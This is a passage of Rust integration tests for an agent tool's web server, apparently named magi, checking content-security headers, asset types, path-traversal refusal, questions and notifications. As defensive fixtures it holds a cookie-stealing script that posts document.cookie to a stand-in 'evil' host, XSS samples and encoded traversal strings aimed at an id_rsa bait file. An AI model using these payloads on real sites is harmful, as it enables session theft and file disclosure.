5234            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5235            "completed": 7,
5236            "polls": 143,
5237        });
5238        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5239    }
5240
5241    /// A loop that starts, finds nothing to do, and waits to be told to stop.
5242    ///
5243    /// No test in this file may start the real loop - see [`Ui::launch`] for
5244    /// why - so this stands in for the only thing the routes need a loop to
5245    /// do: keep running until `Stop` is set, then return. A real
5246    /// `serve_until` here would resolve its queue and its status file through
5247    /// the process-global magi home, claim whatever it found in the
5248    /// operator's live backlog, overwrite the status file of the `magi serve`
5249    /// that owns it, and spend real agent quota on a real competition.
5250    fn launch_idle(
5251        _opts: daemon::Opts,
5252        stop: daemon::Stop,
5253    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5254        Box::pin(async move {
5255            while !stop.stopped() {
5256                tokio::time::sleep(Duration::from_millis(2)).await;
5257            }
5258            Ok(())
5259        })
5260    }
5261
5262    /// A loop that fails on the way up, the way one whose home has gone
5263    /// read-only does.
5264    fn launch_broken(
5265        _opts: daemon::Opts,
5266        _stop: daemon::Stop,
5267    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5268        Box::pin(async {
5269            Err(anyhow::anyhow!(
5270                "publish the daemon status file: read-only file system"
5271            ))
5272        })
5273    }
5274
5275    /// The address the parking loop knocks on, and what it heard there.
5276    ///
5277    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
5278    /// capture a fixture's address; this is how it is handed one. Only
5279    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
5280    /// these, so nothing else in this binary can race them.
5281    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5282    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5283
5284    /// A loop that, once it is asked to stop, checks the deck still answers
5285    /// before it goes.
5286    ///
5287    /// It stands in for a run mid-node: `finish_loop` waits for this future,
5288    /// so the request it makes is strictly inside the park window - no sleep
5289    /// and no polling needed to be sure of that.
5290    fn launch_knocking_on_the_way_out(
5291        _opts: daemon::Opts,
5292        stop: daemon::Stop,
5293    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5294        Box::pin(async move {
5295            while !stop.stopped() {
5296                tokio::time::sleep(Duration::from_millis(2)).await;
5297            }
5298            let addr = PARK_KNOCK
5299                .lock()
5300                .expect("park knock")
5301                .expect("the test set an address");
5302            let heard = request(addr, "GET", "/api/health", None).await.status;
5303            *PARK_HEARD.lock().expect("park heard") = Some(heard);
5304            Ok(())
5305        })
5306    }
5307
5308    /// The loop view once `want` accepts it.
5309    ///
5310    /// Polled rather than asserted straight after the POST because stopping
5311    /// is deliberately not instant - that is the contract - and rather than
5312    /// slept through because a fixed wait is either flaky or slow.
5313    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
5314    /// finite, so a genuine hang fails the test instead of hanging the
5315    /// suite.
5316    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5317        for _ in 0..SETTLE_STEPS {
5318            let view = fx.get("/api/loop").await.json();
5319            if want(&view) {
5320                return view;
5321            }
5322            tokio::time::sleep(Duration::from_millis(10)).await;
5323        }
5324        panic!(
5325            "the loop never settled: {}",
5326            fx.get("/api/loop").await.json()
5327        );
5328    }
5329
5330    /// File an open question directly in the store the server reads.
5331    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5332        let store = fx.questions();
5333        let mut q = Question::new(
5334            "20260902-000000-beef".to_owned(),
5335            "implement".to_owned(),
5336            "impl-A".to_owned(),
5337            summary.to_owned(),
5338            "because it matters".to_owned(),
5339            choices.iter().map(|c| (*c).to_owned()).collect(),
5340        );
5341        store.put(&mut q).expect("put question");
5342        q.id
5343    }
5344
5345    /// A question with a panel the server can serve, plus the named assets.
5346    ///
5347    /// Written through `Questions::put_panel` rather than by laying out the
5348    /// directory here, so these tests exercise the same on-disk shape the
5349    /// agents produce and cannot pass against a layout only the tests know.
5350    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5351        let store = fx.questions();
5352        let mut q = Question::new(
5353            "20260902-000000-beef".to_owned(),
5354            "land".to_owned(),
5355            "fix".to_owned(),
5356            "Merge this?".to_owned(),
5357            "the diff is in the panel".to_owned(),
5358            vec!["merge".to_owned(), "hold".to_owned()],
5359        );
5360        // Staged outside the questions root, because `put_panel` copies from
5361        // wherever the agent left its files.
5362        let staging = fx.home.path().join("staging");
5363        std::fs::create_dir_all(&staging).expect("staging dir");
5364        let sources: Vec<PathBuf> = assets
5365            .iter()
5366            .map(|(name, bytes)| {
5367                let path = staging.join(name);
5368                std::fs::write(&path, bytes).expect("write staged asset");
5369                path
5370            })
5371            .collect();
5372        store
5373            .put_panel(&mut q, html, &sources)
5374            .expect("write the panel");
5375        store.put(&mut q).expect("put question");
5376        q.id
5377    }
5378
5379    /// A talk on disk, without talking to a model.
5380    ///
5381    /// Written as JSON straight into the store the server reads, because the
5382    /// only constructor `talk::begin` offers takes no turn but still requires
5383    /// a real caller-visible flow. The one thing this cannot make up is the
5384    /// seat, so it is built with the real `SeatState::new` and serialized -
5385    /// the alternative, hand-writing that object, would make these tests fail
5386    /// the day the seat gains a field.
5387    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5388        let store = fx.talks();
5389        std::fs::create_dir_all(store.root()).expect("talks dir");
5390        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5391            .expect("serialize a seat");
5392        let body = serde_json::json!({
5393            "schema": 1,
5394            "id": id,
5395            "repo": "/repo/magi",
5396            "agent": "mock",
5397            "status": status,
5398            "turns": [],
5399            "created_at": Timestamp::now().to_string(),
5400            "updated_at": Timestamp::now().to_string(),
5401            "seat": seat,
5402        });
5403        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5404        store.get(id).expect("the seeded talk has to be readable");
5405        id.to_owned()
5406    }
5407
5408    #[tokio::test]
5409    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5410        let fx = Fixture::start().await;
5411        let id = panel(
5412            &fx,
5413            "<h1>Merge?</h1><img src=\"diff.svg\">",
5414            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5415        );
5416
5417        for path in [
5418            format!("/api/questions/{id}/panel"),
5419            format!("/api/questions/{id}/asset/diff.svg"),
5420        ] {
5421            let res = fx.get(&path).await;
5422            assert_eq!(res.status, 200, "{path}: {}", res.body);
5423            // The whole string, not a substring. A weakened directive - an
5424            // `img-src *` that lets a panel beacon out to a remote host, a
5425            // `script-src` anything, a missing `form-action` that lets it post
5426            // the owner's decision to a third party - has to fail here, and a
5427            // `contains` assertion would let every one of those through.
5428            assert_eq!(
5429                res.header("content-security-policy"),
5430                Some(
5431                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5432                     font-src data:; base-uri 'none'; form-action 'none'; \
5433                     frame-ancestors 'self'"
5434                ),
5435                "{path} is the only thing between a hostile panel and the tailnet"
5436            );
5437            assert_eq!(
5438                res.header("x-content-type-options"),
5439                Some("nosniff"),
5440                "{path}: a browser must not re-decide the type we sent"
5441            );
5442            assert_eq!(
5443                res.header("referrer-policy"),
5444                Some("no-referrer"),
5445                "{path}: a panel must not leak the question id off the machine"
5446            );
5447
5448            // The front end mounts the frame only after a `HEAD` says the
5449            // panel is there, so `HEAD` has to answer with the same status and
5450            // the same policy as `GET` - a preflight that came back without
5451            // the CSP would mean a frame mounted on an unverified promise.
5452            let pre = fx.head(&path).await;
5453            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5454            assert_eq!(
5455                pre.header("content-security-policy"),
5456                res.header("content-security-policy"),
5457                "{path}: the preflight carries the same policy"
5458            );
5459            assert_eq!(
5460                pre.header("content-type"),
5461                res.header("content-type"),
5462                "{path}: the preflight carries the same type"
5463            );
5464        }
5465    }
5466
5467    #[tokio::test]
5468    async fn a_panel_reaches_the_browser_byte_for_byte() {
5469        let fx = Fixture::start().await;
5470        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
5471        // tag, an entity, and a multi-byte character. The sandbox is what makes
5472        // this safe, so nothing here may be rewritten on the way out - a
5473        // rewritten diff is a diff the owner cannot trust.
5474        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
5475        let id = panel(&fx, html, &[]);
5476
5477        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5478
5479        assert_eq!(res.status, 200);
5480        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5481        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5482        assert_eq!(
5483            res.header("content-disposition"),
5484            None,
5485            "the panel itself is rendered in the frame, not downloaded"
5486        );
5487    }
5488
5489    #[tokio::test]
5490    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5491        let fx = Fixture::start().await;
5492        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5493        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5494        let id = panel(
5495            &fx,
5496            "<img src=\"diff.svg\"><img src=\"shot.png\">",
5497            &[("diff.svg", svg), ("shot.png", png)],
5498        );
5499
5500        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5501        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5502
5503        assert_eq!(as_svg.status, 200);
5504        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5505        // An SVG is XML that may carry script. Inside the panel it is an
5506        // `<img src>` and the script cannot run; opened at the top level it
5507        // would be a document on magi's own origin, so the browser is told to
5508        // download it instead of rendering it.
5509        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5510
5511        assert_eq!(as_png.status, 200);
5512        assert_eq!(as_png.header("content-type"), Some("image/png"));
5513        assert_eq!(
5514            as_png.header("content-disposition"),
5515            None,
5516            "a raster image has no execution surface, so tapping it still shows it"
5517        );
5518        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5519    }
5520
5521    #[tokio::test]
5522    async fn an_html_asset_is_never_served_as_html() {
5523        let fx = Fixture::start().await;
5524        let id = panel(
5525            &fx,
5526            "<p>see the notes</p>",
5527            &[
5528                (
5529                    "notes.html",
5530                    b"<script>fetch('http://evil/'+document.cookie)</script>",
5531                ),
5532                ("hook.js", b"fetch('http://evil/')"),
5533                ("data.json", b"{}"),
5534                ("HEADLINE.TXT", b"plain"),
5535            ],
5536        );
5537
5538        for name in ["notes.html", "hook.js", "data.json"] {
5539            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5540            assert_eq!(res.status, 200, "{name}: {}", res.body);
5541            // Serving this as text/html would be a way to reach agent markup
5542            // at the top level of the operator's browser, outside the frame's
5543            // sandbox and outside its CSP - which is the whole thing the panel
5544            // design exists to prevent. Unlisted types are downloads.
5545            assert_eq!(
5546                res.header("content-type"),
5547                Some("application/octet-stream"),
5548                "{name} must not be a type the browser will execute or render"
5549            );
5550        }
5551        // The whitelist is matched case-insensitively, so an agent shouting the
5552        // extension still gets a readable file rather than a download.
5553        let txt = fx
5554            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5555            .await;
5556        assert_eq!(
5557            txt.header("content-type"),
5558            Some("text/plain; charset=utf-8")
5559        );
5560    }
5561
5562    #[tokio::test]
5563    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5564        let fx = Fixture::start().await;
5565        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5566        // Something outside the panel directory that a traversal would reach if
5567        // one got through, so a passing test is not merely "the file was
5568        // missing anyway".
5569        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5570
5571        // Decoded before this server's handler sees them: axum percent-decodes
5572        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
5573        // string with a NUL in it. All three look like ordinary single-segment
5574        // filenames to the router, so the router passes them through and
5575        // `valid_asset_name` is what refuses them - for the literal `..`, and
5576        // for `/`, `\` and NUL not being in the permitted character set.
5577        for encoded in [
5578            "%2e%2e%2fid_rsa",
5579            "..%2fid_rsa",
5580            "..%5cid_rsa",
5581            "%2e%2e%5cid_rsa",
5582            "diff%00.svg",
5583            "..",
5584            ".hidden",
5585            "%2e%2e%2f%2e%2e%2fid_rsa",
5586        ] {
5587            let res = fx
5588                .get(&format!("/api/questions/{id}/asset/{encoded}"))
5589                .await;
5590            assert_eq!(
5591                res.status, 400,
5592                "`{encoded}` has to be refused by name, not looked up: {}",
5593                res.body
5594            );
5595            assert!(res.json()["error"].is_string(), "{}", res.body);
5596        }
5597
5598        // Not decoded, and never this handler's problem: a real slash makes the
5599        // request one segment too long for `/api/questions/{id}/asset/{name}`,
5600        // so axum's router has no route to match and answers before any code
5601        // here runs. Asserted so that a future route with a wildcard segment
5602        // cannot quietly open this door.
5603        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5604            let res = fx
5605                .get(&format!("/api/questions/{id}/asset/{literal}"))
5606                .await;
5607            assert_eq!(
5608                res.status, 404,
5609                "`{literal}` must not match the asset route at all: {}",
5610                res.body
5611            );
5612        }
5613    }
5614
5615    #[tokio::test]
5616    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5617        let fx = Fixture::start().await;
5618        let plain = ask(&fx, "Which backend?", &["SQLite"]);
5619        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5620
5621        // A question nobody wrote a panel for. The client preflights with HEAD
5622        // and cannot see inside a sandboxed frame, so this must be a status and
5623        // not an empty page.
5624        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5625        assert_eq!(none.status, 404, "{}", none.body);
5626        assert!(none.json()["error"].is_string(), "{}", none.body);
5627        assert_eq!(
5628            fx.head(&format!("/api/questions/{plain}/panel"))
5629                .await
5630                .status,
5631            404,
5632            "the preflight is the only way the client can learn this"
5633        );
5634
5635        // A name that is perfectly legal and simply is not there.
5636        let missing = fx
5637            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5638            .await;
5639        assert_eq!(missing.status, 404, "{}", missing.body);
5640        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5641
5642        // A question that does not exist at all, on both routes.
5643        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5644        assert_eq!(
5645            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5646            404
5647        );
5648    }
5649
5650    #[tokio::test]
5651    async fn a_run_with_an_open_question_reads_as_waiting() {
5652        let fx = Fixture::start().await;
5653        let run = "20260902-000000-beef".to_owned();
5654        write_run(&fx.runs(), &run, RunStatus::Implementing);
5655
5656        let before = fx.get("/api/runs").await.json();
5657        assert_eq!(before[0]["waiting"], false, "{before}");
5658
5659        let store = fx.questions();
5660        let mut q = Question::new(
5661            run.clone(),
5662            "implement".to_owned(),
5663            "impl-A".to_owned(),
5664            "Which backend?".to_owned(),
5665            String::new(),
5666            vec!["SQLite".to_owned()],
5667        );
5668        store.put(&mut q).expect("put");
5669
5670        let during = fx.get("/api/runs").await.json();
5671        assert_eq!(during[0]["waiting"], true, "{during}");
5672
5673        // Answered: the run is moving again, and the flag has to follow without
5674        // anything having rewritten run.json.
5675        q.answer(Answer::Choice("SQLite".to_owned()))
5676            .expect("answer");
5677        store.put(&mut q).expect("put");
5678        let after = fx.get("/api/runs").await.json();
5679        assert_eq!(after[0]["waiting"], false, "{after}");
5680    }
5681
5682    #[tokio::test]
5683    async fn an_open_question_is_listed_and_counted_by_health() {
5684        let fx = Fixture::start().await;
5685        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5686
5687        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5688        let listed = fx.get("/api/questions").await.json();
5689        assert_eq!(listed.as_array().expect("array").len(), 1);
5690        assert_eq!(listed[0]["id"], id);
5691        assert_eq!(listed[0]["status"], "open");
5692        assert_eq!(listed[0]["choices"][1], "Redis");
5693        // The count is what makes the phone's indicator honest: it is the one
5694        // number meaning nothing will move until a human acts.
5695        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5696    }
5697
5698    #[tokio::test]
5699    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5700        let fx = Fixture::start().await;
5701        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5702        let path = format!("/api/questions/{id}/answer");
5703
5704        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5705        assert_eq!(res.status, 200, "{}", res.body);
5706        let body = res.json();
5707        assert_eq!(body["status"], "answered");
5708        assert_eq!(body["answer"]["choice"], "Redis");
5709
5710        // Answered from the terminal in between the list and the tap: the UI
5711        // must be able to tell this from a bad request, so it can show the
5712        // recorded answer instead of an error.
5713        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5714        assert_eq!(again.status, 409, "{}", again.body);
5715        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5716    }
5717
5718    #[tokio::test]
5719    async fn saying_something_appends_a_turn_without_answering() {
5720        let fx = Fixture::start().await;
5721        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5722        let path = format!("/api/questions/{id}/say");
5723
5724        let res = fx
5725            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5726            .await;
5727        assert_eq!(res.status, 200, "{}", res.body);
5728        let body = res.json();
5729        assert_eq!(body["status"], "open", "talking back is not a decision");
5730        assert_eq!(body["answer"], Value::Null);
5731        assert_eq!(body["thread"][0]["who"], "operator");
5732        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5733        assert_eq!(body["waiting_on_agent"], true);
5734        // Still open, still counted, still exactly one question.
5735        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5736    }
5737
5738    #[tokio::test]
5739    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5740        let fx = Fixture::start().await;
5741        let store = fx.questions();
5742        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5743        assert_eq!(
5744            fx.get("/api/health").await.json()["questions_needs_owner"],
5745            1
5746        );
5747
5748        // The owner asks back instead of deciding: the ask bar, the nav badge
5749        // and the title must stop naming this question, because there is
5750        // nothing to decide until the agent answers - `status` alone cannot
5751        // say that, which is the whole reason `questions_needs_owner` exists
5752        // alongside `questions_open`.
5753        let res = fx
5754            .post(
5755                &format!("/api/questions/{id}/say"),
5756                Some(r#"{"body":"why not Postgres?"}"#),
5757            )
5758            .await;
5759        assert_eq!(res.status, 200, "{}", res.body);
5760        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5761        assert_eq!(
5762            fx.get("/api/health").await.json()["questions_needs_owner"],
5763            0,
5764            "waiting on the agent is not waiting on the owner"
5765        );
5766
5767        // `magi ask --thread` replying is what brings the owner count back -
5768        // the same event that would resume the CLI call blocked in `magi
5769        // ask`.
5770        let mut q = store.get(&id).expect("get");
5771        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5772            .expect("reply");
5773        store.put(&mut q).expect("put");
5774        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5775        assert_eq!(
5776            fx.get("/api/health").await.json()["questions_needs_owner"],
5777            1,
5778            "the agent's reply is what should light the banner back up"
5779        );
5780    }
5781
5782    #[tokio::test]
5783    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5784        let fx = Fixture::start().await;
5785        let store = fx.questions();
5786
5787        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5788        let res = fx
5789            .post(
5790                &format!("/api/questions/{empty_id}/say"),
5791                Some(r#"{"body":"   "}"#),
5792            )
5793            .await;
5794        assert_eq!(res.status, 400, "{}", res.body);
5795
5796        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5797        let mut answered = store.get(&answered_id).expect("get");
5798        answered
5799            .answer(Answer::Choice("SQLite".to_owned()))
5800            .expect("answer");
5801        store.put(&mut answered).expect("put");
5802        let res = fx
5803            .post(
5804                &format!("/api/questions/{answered_id}/say"),
5805                Some(r#"{"body":"still there?"}"#),
5806            )
5807            .await;
5808        assert_eq!(res.status, 409, "{}", res.body);
5809
5810        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5811        let mut abandoned = store.get(&abandoned_id).expect("get");
5812        abandoned.abandon("timed out");
5813        store.put(&mut abandoned).expect("put");
5814        let res = fx
5815            .post(
5816                &format!("/api/questions/{abandoned_id}/say"),
5817                Some(r#"{"body":"still there?"}"#),
5818            )
5819            .await;
5820        assert_eq!(res.status, 409, "{}", res.body);
5821    }
5822
5823    #[tokio::test]
5824    async fn an_answer_the_question_does_not_offer_is_refused() {
5825        let fx = Fixture::start().await;
5826        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5827        let path = format!("/api/questions/{id}/answer");
5828
5829        for body in [
5830            r#"{"choice":"Postgres"}"#,
5831            r#"{"text":"whatever you think"}"#,
5832            r#"{"choice":"Redis","text":"both"}"#,
5833            r#"{}"#,
5834        ] {
5835            let res = fx.post(&path, Some(body)).await;
5836            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5837            assert!(res.json()["error"].is_string(), "{}", res.body);
5838        }
5839        // Nothing above may have answered it.
5840        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5841    }
5842
5843    #[tokio::test]
5844    async fn a_free_text_question_takes_text_and_not_a_choice() {
5845        let fx = Fixture::start().await;
5846        let id = ask(&fx, "What should the flag be called?", &[]);
5847        let path = format!("/api/questions/{id}/answer");
5848
5849        assert_eq!(
5850            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5851            400
5852        );
5853        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5854        assert_eq!(res.status, 200, "{}", res.body);
5855        assert_eq!(res.json()["answer"]["text"], "--json");
5856    }
5857
5858    #[tokio::test]
5859    async fn an_unknown_question_is_a_json_404() {
5860        let fx = Fixture::start().await;
5861        let res = fx
5862            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5863            .await;
5864        assert_eq!(res.status, 404, "{}", res.body);
5865        assert!(res.json()["error"].is_string());
5866    }
5867
5868    #[tokio::test]
5869    async fn notifications_list_read_dismiss_and_health_agree() {
5870        let fx = Fixture::start().await;
5871        let store = Notices::at(fx.home.path().join("notifications"));
5872        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5873        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5874
5875        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5876        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5877
5878        let health = fx.get("/api/health").await.json();
5879        assert_eq!(health["notifications_unread"], 2);
5880        assert_ne!(
5881            health["notifications_rev"], rev0,
5882            "the badge must move live"
5883        );
5884
5885        let listed = fx.get("/api/notifications").await.json();
5886        assert_eq!(listed["unread"], 2);
5887        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5888        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5889
5890        let read = fx
5891            .post(&format!("/api/notifications/{}/read", a.id), None)
5892            .await;
5893        assert_eq!(read.status, 200, "{}", read.body);
5894        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5895
5896        let gone = fx
5897            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5898            .await;
5899        assert_eq!(gone.status, 200, "{}", gone.body);
5900        let listed = fx.get("/api/notifications").await.json();
5901        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5902        assert_eq!(listed["unread"], 0);
5903
5904        store.raise(Notice::info("x", "again")).unwrap();
5905        let all = fx.post("/api/notifications/read-all", None).await;
5906        assert_eq!(all.status, 200, "{}", all.body);
5907        assert_eq!(all.json()["marked"], 1);
5908        assert_eq!(
5909            fx.get("/api/health").await.json()["notifications_unread"],
5910            0
5911        );
5912
5913        let missing = fx.post("/api/notifications/nope/read", None).await;
5914        assert_eq!(missing.status, 404, "{}", missing.body);
5915        assert!(missing.json()["error"].is_string());
5916    }
5917
5918    /// New work reaches the queue through `magi task add`, a standing talk's
5919    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
5920    /// so the compose form and that route are gone. The tests that covered
5921    /// that route's validation went with it, and nothing was left asserting
5922    /// it stays gone — so a re-added handler would silently let the phone
5923    /// file briefs no one validated.
5924    #[tokio::test]
5925    async fn a_task_cannot_be_filed_over_the_phone_directly() {
5926        let f = Fixture::start().await;
5927
5928        let res = f
5929            .post(
5930                "/api/queue",
5931                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5932            )
5933            .await;
5934
5935        assert_eq!(
5936            res.status, 405,
5937            "POST /api/queue must not be a route: {}",
5938            res.body
5939        );
5940        assert!(
5941            f.queue().list().is_empty(),
5942            "a task filed by a route that does not exist must not reach the disk"
5943        );
5944        // The path itself is still served — the Queue view reads it — and the
5945        // per-task controls are untouched by the entry being removed.
5946        assert_eq!(f.get("/api/queue").await.status, 200);
5947    }
5948
5949    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5950    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5951        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5952            .expect("checkout dir");
5953    }
5954
5955    #[tokio::test]
5956    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5957        let tmp = TempDir::new().expect("tempdir");
5958        let repo = tmp.path().join("repo");
5959        std::fs::create_dir_all(&repo).expect("repo dir");
5960        let root = tmp.path().join("root");
5961        make_checkout(&root, "github.com", "yukimemi", "magi");
5962        std::fs::write(
5963            repo.join("magi.toml"),
5964            format!(
5965                "[repos]\nroots = [{:?}]\n",
5966                root.to_string_lossy().into_owned()
5967            ),
5968        )
5969        .expect("write magi.toml");
5970
5971        let f = Fixture::with_repo(repo).await;
5972        let res = f.get("/api/repos").await;
5973        assert_eq!(res.status, 200, "{}", res.body);
5974        let list = res.json();
5975        let repos = list.as_array().expect("an array");
5976        assert_eq!(repos.len(), 1);
5977        assert_eq!(repos[0]["name"], "yukimemi/magi");
5978        assert!(
5979            repos[0]["path"]
5980                .as_str()
5981                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5982            "{list}"
5983        );
5984    }
5985
5986    #[tokio::test]
5987    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5988        let tmp = TempDir::new().expect("tempdir");
5989        let repo = tmp.path().join("repo");
5990        std::fs::create_dir_all(&repo).expect("repo dir");
5991        let root = tmp.path().join("root");
5992        make_checkout(&root, "github.com", "yukimemi", "magi");
5993        std::fs::write(
5994            repo.join("magi.toml"),
5995            format!(
5996                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5997                root.to_string_lossy().into_owned()
5998            ),
5999        )
6000        .expect("write magi.toml");
6001
6002        let f = Fixture::with_repo(repo).await;
6003        let first = f.get("/api/repos").await;
6004        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6005
6006        // A second checkout appears; within the TTL the cached answer must
6007        // not notice it.
6008        make_checkout(&root, "github.com", "yukimemi", "rvpm");
6009        let second = f.get("/api/repos").await;
6010        assert_eq!(
6011            second.json().as_array().map(Vec::len),
6012            Some(1),
6013            "a fresh cache must not rescan inside the TTL"
6014        );
6015
6016        let refreshed = f.get("/api/repos?refresh=1").await;
6017        assert_eq!(
6018            refreshed.json().as_array().map(Vec::len),
6019            Some(2),
6020            "an explicit refresh must rescan even inside the TTL"
6021        );
6022    }
6023
6024    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
6025    /// string, declared straight in a repository's own `magi.toml` rather
6026    /// than the operator's real roster. No real agent CLI is spawned - `sh`
6027    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
6028    /// this is safe to run over a real HTTP round trip.
6029    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6030
6031    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
6032    /// real `Config::discover` to find an agent - `talk::begin` resolves one
6033    /// even though it takes no turn, and `talk_say` invokes one.
6034    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6035        let tmp = TempDir::new().expect("tempdir");
6036        let repo = tmp.path().join("repo");
6037        std::fs::create_dir_all(&repo).expect("repo dir");
6038        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6039        let f = Fixture::with_repo(repo.clone()).await;
6040        (tmp, repo, f)
6041    }
6042
6043    #[tokio::test]
6044    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6045        let (_tmp, _repo, f) = talk_fixture().await;
6046
6047        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
6048        // is the ordinary way a phone opens a talk.
6049        let opened = f.post("/api/talks", None).await;
6050        assert_eq!(opened.status, 201, "{}", opened.body);
6051        let body = opened.json();
6052        assert_eq!(body["status"], "open");
6053        assert_eq!(
6054            body["turns"].as_array().unwrap().len(),
6055            0,
6056            "opening takes no agent turn: there is nothing yet to answer"
6057        );
6058
6059        // An explicit empty object is the same request as none at all.
6060        let also_opened = f.post("/api/talks", Some("{}")).await;
6061        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6062
6063        let listed = f.get("/api/talks").await.json();
6064        assert_eq!(listed.as_array().unwrap().len(), 2);
6065    }
6066
6067    #[tokio::test]
6068    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6069        let f = Fixture::start().await;
6070        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6071        let queue = f.queue();
6072        let mut mine = Task::new(
